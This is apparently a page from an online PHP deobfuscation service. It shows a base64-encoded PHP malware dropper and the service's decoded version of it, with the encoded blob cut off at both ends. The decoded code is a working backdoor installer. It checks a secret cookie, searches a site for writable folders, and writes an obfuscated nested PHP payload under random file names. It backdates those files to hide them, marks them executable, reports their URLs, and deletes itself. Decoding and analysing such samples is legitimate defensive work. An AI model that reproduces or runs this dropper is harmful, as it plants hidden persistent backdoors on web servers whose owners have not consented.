D0gJGRpcl9saXN0X3dyaXRhYmxlW3JhbmQoMCxzaXplb2YoJGRpcl9saXN0X3dyaXRhYmxlKSldOw0KJGdvb2QgPSBGQUxTRTsNCiRnb29kX2NvdW50ZXIgPSAwOw0KIyB0cnkgdG8gdXBsb2FkDQokbWF4X3RyeWVzID0gc3RybGVuKCRwYXlsb2FkX25hbWUpID09IDAgPyA1IDogMTsNCmZvcmVhY2ggKCRsaXN0X3dyaXRhYmxlIGFzICRjdXJyZW50X2RpcikNCnsNCiAgICAvLyBpZiBwYXlsb2FkIG5hbWUgaXMgc2V0LCBubyBtb3JlIG9uZSB0cnkgdG8gdXBsb2FkIG9uIGN1cnJlbnQgZGlyDQogICAgLy9mb3IgKCRpPTA7ICRpIDwgJG1heF90cnllczsgJGkrKykNCiAgICB7DQogICAgICAgIGlmIChzdHJsZW4oJHBheWxvYWRfbmFtZSkgPT0gMCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHRlbXBfcGF5bG9hZF9uYW1lID0gZ2VuZXJhdGVSYW5kb21TdHJpbmcoKTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICR0ZW1wX3BheWxvYWRfbmFtZSA9ICRwYXlsb2FkX25hbWU7DQogICAgICAgIH0NCg0KICAgICAgICAkZnVsbF9wYXlsb2FkX25hbWUgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRlbXBfcGF5bG9hZF9uYW1lOw0KDQogICAgICAgICR1cmlfcGF0aCA9IEdldFBhdGhEaWZmKCRiYXNlX2xvY2FsX3BhdGgsICRmdWxsX3BheWxvYWRfbmFtZSk7DQogICAgICAgIGlmIChzdHJwb3MoJHVyaV9wYXRoLCAkdGVtcF9wYXlsb2FkX25hbWUpID09PSBmYWxzZSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHVyaV9wYXRoID0gJHVyaV9wYXRoIC4gIi8iICAuICR0ZW1wX3BheWxvYWRfbmFtZTsNCiAgICAgICAgfQ0KICAgICAgICAkZnVsbF91cmkgPSAkYmFzZV93d3dfcGF0aCAuIChzdHJwb3MoJHVyaV9wYXRoLCAiLyIpID09IDAgPyAkdXJpX3BhdGggOiAiLyIuJHVyaV9wYXRoKTsNCg0KICAgICAgICBpZiAoV3JpdGVQYXlsb2FkKCRmdWxsX3BheWxvYWRfbmFtZSwgJHBheWxvYWRfZmlsZSkpDQogICAgICAgIHsNCiAgICAgICAgICAgIHRvdWNoKCRmdWxsX3BheWxvYWRfbmFtZSwgJGJhc2VfbG9jYWxfcGF0aF90aW1lKTsgLy8gc2V0IGxhc3QgbW9kaWZpY2F0aW9uIHRpbWUgYXMgcm9vdCBmb2xkZXINCiAgICAgICAgICAgIGNobW9kKCRmdWxsX3BheWxvYWRfbmFtZSwgMDc1NSk7DQogICAgICAgICAgICBlY2hvICJCUlVSTCNodHRwOi8vIiAuICRmdWxsX3VyaSAuIFBIUF9FT0w7DQogICAgICAgICAgICAkZ29vZD1UUlVFOw0KICAgICAgICAgICAgJGdvb2RfY291bnRlcisrOw0KICAgICAgICAgICAgaWYgKCRnb29kX2NvdW50ZXIgPjEpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgdW5saW5rKCJKd2xzamRfYmFhcWlmZy5waHAiKTsNCiAgICAgICAgICAgICAgICBlY2hvICIjQ0NDVVJMIjsNCiAgICAgICAgICAgICAgICBleGl0KCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQp9DQppZighJGdvb2QpDQogICAgZWNobyAiVVJMI1NUQVRVU19DQU5UVVBMT0FEI0NDQ1VSTCI7DQplY2hvICIjQ0NDVVJMIjsNCnVubGluaygiSndsc2pkX2JhYXFpZmcucGhwIik7DQpleGl0KCk7')); 
Function Calls 
base64_decode	1 
Variables 
None 
Stats 
MD5	f4db24a3eb4ff2c6b95e43aeaafaf4ee 
Eval Count	1 
Decode Time	588 ms 
By using the UnPHP decoder you agree to our Terms of Use. Proudly hosted on Digital Ocean. ?>

Did this file decode correctly?

Original Code

UnPHP
Decode
Recent
API
Services
Contact

 Find this useful? Enter your email to receive occasional updates for securing PHP code.
Email Address
Email Address
PHP Decode
<?php eval(base64_decode('aWYgKCFpc3NldCgkX0NPT0tJRVszNTVdKSBvciBtZDUoJF9DT09LSUVbMzU1XSkg..

Decoded Output download
<?php if (!isset($_COOKIE[355]) or md5($_COOKIE[355]) != "53a302ee40d595d853e4cb2a85ed4894") die();
if (!defined("PHP_EOL")) {
    define("PHP_EOL", "
");
}
if (!defined("DIRECTORY_SEPARATOR")) {
    define("DIRECTORY_SEPARATOR", "/");
}
function generateRandomString($length = 10) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyz';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0;$i < $length;$i++) {
        $randomString.= $characters[rand(0, $charactersLength - 1) ];
    }
    return $randomString . ".php";
}
$payload_file = "PD9waHANCg0KDQpldmFsKCJcblwkZGdyZXVzZGkgPSBpbnR2YWwoX19MSU5FX18pICogMzM3OyIpOw0KDQokYSA9ICI3VmRyVCtOR0ZQMWVxZjloaUNJY0t3SEZqN0NsSVFoMkJkMVY2Ykl0aFZaQzFKbzRrMlFTdnpSMjY3NHJhRi85NHpEazc4R0xPb3U1VzZVbzJNN1psenozM01uVHMzSnp6Z1RzeVNsc2E2NzRDSVhqaFJPdFE5NWZYMXpvL1crL0liaE9OZ2pNT1NrcUJxUmJuZmZwdmNQdW1idEllQmc0Q2ZkWkFRZE1PdWg0M09kSks1MlFmM0t5U2FOSWg2NzR2cXhXUkF6dkZnL1d4cUhBcEczU2xwTlowM2w1Yy92anNqTkNaTk53em5uRGxod0FiSDJVZXlDdlcxekYvclI0VTVoOXp3cHlDZkJuVENoTU9ESlUrb3REK0hocElpT2s4cG1COHU0Uk5MNjc0aVphenBERzdNQjJSc3dOUjZ5MVJlb2RsWklzTnZMYXZ2Njc0eHlVdHVKM0p1eVd1SXdNeHpESS9yMThkTjVCYUJtN3JDZmNuRkhKOGx0RlVOa1dESlFnU2taSHZqK3ZTbm4yK004T0pzOHZyaStqUitlMllZVjcrdlRqOWNlZTl2Yms1N2I2NVhaeGZYaHZIREw5N2s5Vy9uNzk0Mk1tK3FCc0FaRm95Y09CNjc0OG1NU3BjL2hHU05ZanRTWTlBY2tmR2JLc1FZWnFweEtySEY2NzR1ZXo1Y1h2MzZsRHNCeUlhTFJPYU9ZREdqd3AzV2g3bVlRUm0rWHdTVlJPcnlLVk5jeUtkL0w2ZXFsdFhtbHNKeGVaVnpMSTIrbXI0Mi9YdzZaMDY4R1BvOGp2SGRha1lzakR6V2tRSHhQRG9NQlUyWVl1Y2lYR011L0xWdkRIRnBOQXB4dzlyQ0dUN285a21USHlGQlBMWWgxL3YxQzdxV202VnlzNDFjM2hheXU2dWlCTHpkaHRtODNmNTA1SnJzUG1HQmROaUpxS0ErN0EvRktDTzdiZkk3SFhtZER1VlUzelpuZDNvbE85VGhLSS9zNjc0M2NxV21XOTVYeDRMS3hZZGNzVlNaVWJEdXVJZXI5Tm8xdU56alc0OC9CQWRscWx2VjZzUFIyaWpjWkx5bWNSRzlNWlcwWGpHVDJjejY3NGFUV2NnbWZEYUs0bkEwR3pOTjE4bGdRQ29hbnEvdXAwTFFqNjFjRlpJUGhyT2tJaGF2ZUpJV2hid0M4SmVXMGNYR0l3M2UrRjZ4R2xRcXF5aXRRbTYxYUtuZEFYZ1NUYU1sNjc0K2tPZUE0ZXIrR2FzZC9kTXpRRmtMblRVSjZtZ2xPUC95a0xnaFJVVWFvMjc5b25wdktKSVJDRmtJeTB1NWZRNWpLSzNlTmszK1p2dFJZVVMxdHpSQk9LRFRWbkgydlBnSk5Gc1BVMWRnVmpRYUdZNUNnS0IxQkZ0VUlXN3c0Njc0NVVHNjc0TjVtaWloVERGTmFqVXNRMnNsOG80ZnVLemFoU21qZTI5c0F0bnhrOGlCYUp3cmZoWWp4bUlpdXRtK0ZrNkcxU3U3aitlMGJuYysvL0FPR0JXZnEyT3FTSHNaNTgyaVhDWGcrREI3aGY0ZjRPOXk2NzQ2NzR1cmcvb1FRUS9EZExiTkJnZ3dQaUhRSkM4SUhPa0ZpQURkaGdBRzY3NEFZZ0JqQUdRQVpRQm1ISmFZVEFpWlVnTzY3NFRBaVo2NzRESjc5ZmFZSUROQlpvTE1oRktyV3pZTklBdGtGc2dza0ZrZ3N5QmtRY2lDa0FVaEcwcHQ0R3pnYk9rTGNEWndObkQycXhLaERTNjc0YlFqMEk5YjdhWlBtZjhLc2oxRlY5SWlwYTJpbVNJNUkxZHV1eTJDZDZwZWNmcG1oRjc0elNlSnMyYmFsczJzYmRrWjJCVktyc0FpVlJqZFF1NmQ2Zm4rdms2QWdidkw1TGs1ZnNZcFQwYTY3NFVWSjdUOG9jR0RCYXVTbHR3TUZuNmRvNXkwaVZHSlZkb1pWN3hwR3krSUF2NDlrSllpRm12cGZEUk1aWU02NzRZeXZlVmx6YTJHNisxSGJ6czJ3M1M3WWZmQUhUclplYWJyM1k5RHJoSjh2L3NjMnJLZmNZNkdVaUhaT3UyZ3czM1FQREoyVmRYRG81UHNicHBsTDcxSkxzRDlJZk02N1N0QzY3NGlQU0RsUFpOWnZiZjMvR2FTTVI0UVc5M0JaaitEMW1aa0RkYmYiOw0KJGEgPSBzdHJfcmVwbGFjZSgkZGdyZXVzZGksICJFIiwgJGEpOw0KZXZhbCAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7";
$payload_name = "";
srand(time());
/////////////////////////////////////////////////////////
function comparer($a, $b) {
    return strlen($a) - strlen($b);
}
if (!function_exists('file_put_contents')) {
    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (!$f) {
            return false;
        } else {
            $bytes = fwrite($f, $data);
            fclose($f);
            return $bytes;
        }
    }
}
function GetPathDiff($base_path, $full_path) {
    $pos = strpos($full_path, $base_path);
    if ($pos === FALSE) {
        return FALSE;
    }
    return substr($full_path, $pos + strlen($base_path));
}
function GetWritableDirs() {
    $res = Array();
    $analysys_queue = Array();
    $analysys_queue[] = GetDocRoot();
    $self_path = $_SERVER['SCRIPT_FILENAME'];
    while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE) {
        $self_path = substr($self_path, 0, $slash);
        if ($self_path == GetDocRoot()) {
            break;
        }
        if (strlen($self_path)) {
            $analysys_queue[] = $self_path;
        }
    }
    foreach ($analysys_queue as $current_dir) {
        if (!in_array($current_dir, $res)) {
            $res = array_merge($res, GetDirectoryList($current_dir));
        }
    }
    $res = array_merge($analysys_queue, $res);
    return CheckWritable(array_unique($res));
}
function CheckWritable($dir_list) {
    $dir_list_writable = Array();
    foreach ($dir_list as $dir) {
        if (@is_writable($dir) == TRUE) {
            $dir_list_writable[] = $dir;
        }
    }
    return $dir_list_writable;
}
function GetDirectoryList($dir, $depth = 1000) {
    $result = array();
    $dir_count = 0;
    if ($depth == 0) {
        return $result;
    }
    $dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\/');
    $h = @opendir($dir);
    if ($h === FALSE) {
        return $result;
    }
    while (($f = readdir($h)) !== FALSE) {
        if ($f !== '.' and $f !== '..') {
            $current_dir = "$dir/$f";
            if (is_dir($current_dir)) {
                $dir_count+= 1;
                if ($dir_count >= $depth) {
                    break;
                }
                $result[] = $current_dir;
                $result = array_merge($result, GetDirectoryList($current_dir, $depth / 10));
            }
        }
    }
    closedir($h);
    return $result;
}
function GetDocRoot() {
    $docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']);
    if ($docroot_end === FALSE) {
        return $_SERVER['DOCUMENT_ROOT'];
    } elseif ($docroot_end === 0) {
        return "/";
    } else {
        return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end);
    }
}
function GetPayload($payload) {
    $current_payload = base64_decode($payload);
    return $current_payload;
}
function WritePayload($path, $payload) {
    if (!file_exists($path)) {
        if (file_put_contents($path, GetPayload($payload)) != FALSE) {
            return TRUE;
        }
    }
    return FALSE;
}
////////////////////////////////////////////////////////////////////////////////////////////
# get base local and remote path
$base_www_path = $host = @$_SERVER['HTTP_HOST'];
$base_local_path = GetDocRoot();
if (!($base_local_path_time = @stat($base_local_path . "/.htaccess"))) {
    if (!($base_local_path_time = @stat($base_local_path . "/index.php"))) {
        if (!($base_local_path_time = @stat($base_local_path . "/index.html"))) {
            if (!($base_local_path_time = @stat($base_local_path . "/.."))) {
                if (!($base_local_path_time = @stat($base_local_path))) {
                    $base_local_path_time = Array();
                    $base_local_path_time['mtime'] = time();
                }
            }
        }
    }
}
$base_local_path_time = $base_local_path_time['mtime'];
$dir_list_writable = GetWritableDirs();
if (count($dir_list_writable) == 0) {
    echo "URL#STATUS_UNWRITABLE";
    unlink("Jwlsjd_baaqifg.php");
    exit();
}
usort($dir_list_writable, 'comparer'); # sort directory by len
$list_writable = Array();
$list_writable[] = $dir_list_writable[0];
$list_writable[] = $dir_list_writable[rand(0, sizeof($dir_list_writable)) ];
$good = FALSE;
$good_counter = 0;
# try to upload
$max_tryes = strlen($payload_name) == 0 ? 5 : 1;
foreach ($list_writable as $current_dir) {
    // if payload name is set, no more one try to upload on current dir
    //for ($i=0; $i < $max_tryes; $i++)
    {
        if (strlen($payload_name) == 0) {
            $temp_payload_name = generateRandomString();
        } else {
            $temp_payload_name = $payload_name;
        }
        $full_payload_name = $current_dir . DIRECTORY_SEPARATOR . $temp_payload_name;
        $uri_path = GetPathDiff($base_local_path, $full_payload_name);
        if (strpos($uri_path, $temp_payload_name) === false) {
            $uri_path = $uri_path . "/" . $temp_payload_name;
        }
        $full_uri = $base_www_path . (strpos($uri_path, "/") == 0 ? $uri_path : "/" . $uri_path);
        if (WritePayload($full_payload_name, $payload_file)) {
            touch($full_payload_name, $base_local_path_time); // set last modification time as root folder
            chmod($full_payload_name, 0755);
            echo "BRURL#http://" . $full_uri . PHP_EOL;
            $good = TRUE;
            $good_counter++;
            if ($good_counter > 1) {
                unlink("Jwlsjd_baaqifg.php");
                echo "#CCCURL";
                exit();
            }
        }
    }
}
if (!$good) echo "URL#STATUS_CANTUPLOAD#CCCURL";
echo "#CCCURL";
unlink("Jwlsjd_baaqifg.php");
exit();
Did this file decode correctly?
Original Code
<?php eval(base64_decode('aWYgKCFpc3NldCgkX0NPT0tJRVszNTVdKSBvciBtZDUoJF9DT09LSUVbMzU1XSkgIT0iNTNhMzAyZWU0MGQ1OTVkODUzZTRjYjJhODVlZDQ4OTQiKSBkaWUoKTsNCg0KaWYoIWRlZmluZWQoIlBIUF9FT0wiKSkNCnsNCiAgICBkZWZpbmUoIlBIUF9FT0wiLCAiXG4iKTsNCn0NCg0KaWYoIWRlZmluZWQoIkRJUkVDVE9SWV9TRVBBUkFUT1IiKSkNCnsNCiAgICBkZWZpbmUoIkRJUkVDVE9SWV9TRVBBUkFUT1IiLCAiLyIpOw0KfQ0KDQpmdW5jdGlvbiBnZW5lcmF0ZVJhbmRvbVN0cmluZygkbGVuZ3RoID0gMTApDQp7DQogICAgJGNoYXJhY3RlcnMgPSAnMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzsNCiAgICAkY2hhcmFjdGVyc0xlbmd0aCA9IHN0cmxlbigkY2hhcmFjdGVycyk7DQogICAgJHJhbmRvbVN0cmluZyA9ICcnOw0KICAgIGZvciAoJGkgPSAwOyAkaSA8ICRsZW5ndGg7ICRpKyspIHsNCiAgICAgICAgJHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1tyYW5kKDAsICRjaGFyYWN0ZXJzTGVuZ3RoIC0gMSldOw0KICAgIH0NCiAgICByZXR1cm4gJHJhbmRvbVN0cmluZyAuICIucGhwIjsNCn0NCg0KJHBheWxvYWRfZmlsZSA9ICJQRDl3YUhBTkNnMEtEUXBsZG1Gc0tDSmNibHdrWkdkeVpYVnpaR2tnUFNCcGJuUjJZV3dvWDE5TVNVNUZYMThwSUNvZ016TTNPeUlwT3cwS0RRb2tZU0E5SUNJM1ZtUnlWQ3RPUjBaUU1XVnhaamxvYVVOSlkwdDNTRVpxTjBOc1NWRm9Na0prTVZZMllrbDBhRlphUXpGS2J6UnJNbEZUZG5wU01qWTNOSEpoUmk4NU5IcEVhemM0UjB4UGIzVTFWelpWYnpKTk4xcHNlbm96TTAxdVZITXpTbnA2WjFSemVWTnNjMkUyTnpSRFNWaHFhRkpQZEZFNU5XWllNWHB2TDFjckwwbGlhRTlPWjJwTlQxTnJjVUp4VW1KdVptWndkbU5RZFcxaWRFbGxRbWMwUTJaa1drRlJaRTFQZFdnME0wOWtTa3MxTWxGbU0wdDVVMkZPU1dnMk56UjJjWGhYVWtGNmRrWm5MMWQ0Y1VoQmNFY3pVMnh3VGxvd00ydzFZeTkyYW5OcVRrTmFUazUzZW01dVJHeG9kMEZpU0RKVlpYbERkbGN4ZWtZdmNsSTBWVFZvT1hwM2NIbERaa0p1VkVOb1RVOUVTbFVyYjNSRUswaG9jRWxwVDJzNGNHMUNPSFUwVWs1TU5qYzBhVnBoZW5CRVJ6ZE5RakpTYzNkT1VqWjVNVkpsYjJSc1drbHpUblpNWVhaMk5qYzBlSGxWZEhWS00wcDFlVmQxU1hkTmVIcEVTUzl5TVRoa1RqVkNZVUp0TjNKRFptTnVSa2hLT0d4MFJsVk9hMWRFU2xGblUydGFTSFpxSzNaVGJtNHlLMDA0VDBwek9IWnlhU3RxVWl0bE1sbFpWamNyZGxScU9XTmxaVGwyWW1zMU4ySTJOVmhhZUdaWWFIWklSRXc1TjJzNVZ5OXVOemswTWsxdEszRkNjMEZhUm05NVkwOUNOamMwT0cxTlUzQmpMMmhIVTA1WmFuUlRXVGxCWTJ0bVIySkxjMUZaV25Gd2VFdHlTRVkyTnpSMVpYbzFZMWgyTXpac1JITkNlVWxoVEZKUFlVOVpSRWRxZDNBelYyZzNiVmxSVW0wcldIZFRWbEpQY25sTFZrNWplVXRrTDB3MlpYRnNkRmh0YkhOS2VHVmFWbnBNU1RJcmJYSTBNaTlZZHpaYU1EWTRSMUJ2T0dwMlNHUmhhMWx6YWtSNlYydFJTSGhRUkc5TlFsVXlXVmwxWTJsWVIwMTFMMHhXZGtSSVJuQk9RWEI0ZHpseVEwZFVOMjg1YTIxVVNIbEdRbEJNV1dneEwzWXhRemR4VjIwMlZubHpOREZqTTJoaGVYVTJkV2xDVEhwa2FIUnRPRE5tTlRBMVNuSnpVRzFIUW1ST2FVcHhTMEVyTjBFdlJrdERUemRpWmtrM1NGaHRaRVIxVmxVemVscHVaRE52YkU4NVZHaExTUzl6TmpjME0yTnhWMjFYT1RWWWVEUk1TM2haWkdOelZsTmFWV0pFZFhWSlpYSTVUbTh4ZFU1NmFsYzBPQzlDUVdSc2NXeDJWalp6VUZJeWFXcGpXa3g1YldOU1J6bE5XbGN3V0dwSFZESmplalkzTkdGVVYyTm5iV1pFWVVzMGJrRXdSM3BPVGpFNGJHZFJRMjloYm5FdmRYQXdURkZxTmpGalJscEpVR2h5VDJ0SmFHRjJaVXBKVjJoaWQwTTRTbVZYTUdOWVIwbDNNMlVyUmpaNFIyeFJjWEY1YVhSUmJUWXhZVXR1WkVGWVoxTlVZVTFzTmpjMEsydFBaVUUwWlhJclIyRnpaQzlrVFhwUlJtdE1ibFJWU2padFoyeFBVQzk1YTB4bmFGSlZWV0Z2TWpjNWIyNXdka3RLU1ZKRFJtdEplVEIxTldaUk5XcExTek5sVG1zeksxcDJkRkpaVlZNeGRIcFNRazlMUkZSV2JrZ3lkbEJuU2s1R2MxQlZNV1JuVm1wUllVZFpOVU5uUzBJeFFrWjBWVWxYTjNjME5qYzBOVlZITmpjMFRqVnRhV2xvVkVSR1RtRnFWWE5STW5Oc09HODBablZMZW1Gb1UyMXFaVEk1YzBGMGJuaHJPR2xDWVVwM2NtWm9XV3A0YlVscGRYUnRLMFpyTmtjeFUzVTNhaXRsTUdKdVl5c3ZMMEZQUjBKWFpuRXlUM0ZUU0hOYU5UZ3lhVmhEV0djclJFSTNhR1kwWmpSUE9YazJOelEyTnpSMWNtY3ZiMUZSVVM5RVpFeGlUa0puWjNkUWFVaFJTa000U1VoUGEwWnBRVVJrYUdkQlJ6WTNORUZaWjBKcVFVZFJRVnBSUW0xSVNtRlpWRUZwV2xWblR6WTNORlJCYVZvMk56UkVTamM1Wm1GWlNVUk9RbHB2VEUxb1JrdHlWM3BaVGtsQmRHdEdjMmR6YTBaclozTjVRbXRSWTJsRGEwRlZhRWN3Y0hRMFIzcG5ZazlyVEdORVduZE9ia1F5Y1hoTGFFUlROamMwWWxGcU1FazVZamRoV2xCdFpqaExjMm94UmxZNVNXbHdZVEpwYlZOSk5Va3haSFYxZVRKRFpEWndaV05tY0cxb1JqYzBlbE5sU25NeVltRnNjekp6WW1ScldqSkNWa3R5YzBGcFZsSnFaRkYxTm1RMlptNHJkbXMyUVdkaWRrdzFUR3MxWm5OWmNGUXdZVFkzTkZWV1NqZFVPRzlqUjBSQ1lYVlRiSFIzVFVadU5tUnZOWGt3YVZaSFNsWmtiMXBXTjNod1Iza3JTVUYyTkRsclNsbHBSbTEyY0daRVVrMWFXVTAyTnpSWmVYWmxWbXg2WVRKSE5pc3hTR0o2Y3pKM00xTTNXV1ptUVVoVWNscGxZV0p5TTFrNVJISm9TamgyTDNOak1uSkxabU5aTmtkVmFVaGFUM1V5WjNjek0xRlFSRW95Vm1SWVJHODFVSE5pY0hCc1REY3hTa3h6UkRsSlprMDJOMU4wUXpZM05HbFFVMFJzVUZwT1duWmlaak12UjJGVFRWSTBVVmM1TTBKYWFpdEVNVzFhYTBSa1ltWWlPdzBLSkdFZ1BTQnpkSEpmY21Wd2JHRmpaU2drWkdkeVpYVnpaR2tzSUNKRklpd2dKR0VwT3cwS1pYWmhiQ0FvWjNwcGJtWnNZWFJsS0dKaGMyVTJORjlrWldOdlpHVW9KR0VwS1NrNyI7DQokcGF5bG9hZF9uYW1lID0gIiI7DQoNCnNyYW5kKHRpbWUoKSk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZnVuY3Rpb24gY29tcGFyZXIoJGEsICRiKQ0Kew0KICAgIHJldHVybiBzdHJsZW4oJGEpLXN0cmxlbigkYik7DQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpKSB7DQogICAgZnVuY3Rpb24gZmlsZV9wdXRfY29udGVudHMoJGZpbGVuYW1lLCAkZGF0YSkgew0KICAgICAgICAkZiA9IEBmb3BlbigkZmlsZW5hbWUsICd3Jyk7DQogICAgICAgIGlmICghJGYpIHsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRieXRlcyA9IGZ3cml0ZSgkZiwgJGRhdGEpOw0KICAgICAgICAgICAgZmNsb3NlKCRmKTsNCiAgICAgICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgICAgIH0NCiAgICB9DQp9DQoNCmZ1bmN0aW9uIEdldFBhdGhEaWZmKCRiYXNlX3BhdGgsICRmdWxsX3BhdGgpDQp7DQogICAgJHBvcyA9IHN0cnBvcygkZnVsbF9wYXRoLCAkYmFzZV9wYXRoKTsNCg0KICAgIGlmICgkcG9zID09PSBGQUxTRSkNCiAgICB7DQogICAgICAgIHJldHVybiBGQUxTRTsNCiAgICB9DQoNCiAgICByZXR1cm4gc3Vic3RyKCRmdWxsX3BhdGgsICRwb3MgKyBzdHJsZW4oJGJhc2VfcGF0aCkpOw0KfQ0KDQpmdW5jdGlvbiBHZXRXcml0YWJsZURpcnMoKQ0Kew0KICAgICRyZXMgPSBBcnJheSgpOw0KDQogICAgJGFuYWx5c3lzX3F1ZXVlID0gQXJyYXkoKTsNCg0KICAgICRhbmFseXN5c19xdWV1ZVtdID0gR2V0RG9jUm9vdCgpOw0KDQogICAgJHNlbGZfcGF0aCA9ICRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXTsNCiAgICB3aGlsZSAoKCRzbGFzaCA9IHN0cnJwb3MoJHNlbGZfcGF0aCwgRElSRUNUT1JZX1NFUEFSQVRPUikpICE9PSBGQUxTRSkNCiAgICB7DQogICAgICAgICRzZWxmX3BhdGggPSBzdWJzdHIoJHNlbGZfcGF0aCwgMCwgJHNsYXNoKTsNCg0KICAgICAgICBpZiAoJHNlbGZfcGF0aCA9PSBHZXREb2NSb290KCkpDQogICAgICAgIHsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKHN0cmxlbigkc2VsZl9wYXRoKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJGFuYWx5c3lzX3F1ZXVlW10gPSAkc2VsZl9wYXRoOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZm9yZWFjaCAoJGFuYWx5c3lzX3F1ZXVlIGFzICRjdXJyZW50X2RpcikNCiAgICB7DQogICAgICAgIGlmICghaW5fYXJyYXkoJGN1cnJlbnRfZGlyLCAkcmVzKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHJlcyA9IGFycmF5X21lcmdlKCRyZXMsIEdldERpcmVjdG9yeUxpc3QoJGN1cnJlbnRfZGlyKSk7DQogICAgICAgIH0NCiAgICB9DQogICAgJHJlcyA9IGFycmF5X21lcmdlKCRhbmFseXN5c19xdWV1ZSwgJHJlcyk7DQoNCiAgICByZXR1cm4gQ2hlY2tXcml0YWJsZShhcnJheV91bmlxdWUoJHJlcykpOw0KfQ0KDQpmdW5jdGlvbiBDaGVja1dyaXRhYmxlKCRkaXJfbGlzdCkNCnsNCiAgICAkZGlyX2xpc3Rfd3JpdGFibGUgPSBBcnJheSgpOw0KDQogICAgZm9yZWFjaCAoJGRpcl9saXN0IGFzICRkaXIpDQogICAgew0KICAgICAgICBpZiAoQGlzX3dyaXRhYmxlKCRkaXIpID09IFRSVUUpDQogICAgICAgIHsNCiAgICAgICAgICAgICRkaXJfbGlzdF93cml0YWJsZVtdID0gJGRpcjsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHJldHVybiAkZGlyX2xpc3Rfd3JpdGFibGU7DQp9DQoNCmZ1bmN0aW9uIEdldERpcmVjdG9yeUxpc3QoJGRpciwgJGRlcHRoPTEwMDApDQp7DQoNCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAkZGlyX2NvdW50ID0gMDsNCg0KICAgIGlmICgkZGVwdGggPT0gMCkNCiAgICB7DQogICAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCg0KICAgICRkaXIgPSBzdHJsZW4oJGRpcikgPT0gMSA/ICRkaXIgOiBydHJpbSgkZGlyLCAnXFwvJyk7DQogICAgJGggPSBAb3BlbmRpcigkZGlyKTsNCiAgICBpZiAoJGggPT09IEZBTFNFKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgfQ0KDQogICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpDQogICAgew0KICAgICAgICBpZiAoJGYgIT09ICcuJyBhbmQgJGYgIT09ICcuLicpDQogICAgICAgIHsNCiAgICAgICAgICAgICRjdXJyZW50X2RpciA9ICIkZGlyLyRmIjsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGN1cnJlbnRfZGlyKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZGlyX2NvdW50ICs9IDE7DQoNCiAgICAgICAgICAgICAgICBpZiAoJGRpcl9jb3VudCA+PSAkZGVwdGgpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAkcmVzdWx0W10gPSAkY3VycmVudF9kaXI7DQogICAgICAgICAgICAgICAgJHJlc3VsdCA9IGFycmF5X21lcmdlKCRyZXN1bHQsIEdldERpcmVjdG9yeUxpc3QoJGN1cnJlbnRfZGlyLCAkZGVwdGggLyAxMCkpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgY2xvc2VkaXIoJGgpOw0KDQogICAgcmV0dXJuICRyZXN1bHQ7DQp9DQoNCmZ1bmN0aW9uIEdldERvY1Jvb3QoKQ0Kew0KICAgICRkb2Nyb290X2VuZCA9IHN0cnJwb3MoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddLCAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7DQogICAgaWYgKCRkb2Nyb290X2VuZCA9PT0gRkFMU0UpDQogICAgew0KICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsNCiAgICB9DQogICAgZWxzZWlmICgkZG9jcm9vdF9lbmQgPT09IDApDQogICAgew0KICAgICAgICByZXR1cm4gIi8iOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICByZXR1cm4gc3Vic3RyKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSwgMCwgJGRvY3Jvb3RfZW5kKTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIEdldFBheWxvYWQoJHBheWxvYWQpDQp7DQogICAgJGN1cnJlbnRfcGF5bG9hZCA9IGJhc2U2NF9kZWNvZGUoJHBheWxvYWQpOw0KDQogICAgcmV0dXJuICRjdXJyZW50X3BheWxvYWQ7DQp9DQoNCmZ1bmN0aW9uIFdyaXRlUGF5bG9hZCgkcGF0aCwgJHBheWxvYWQpD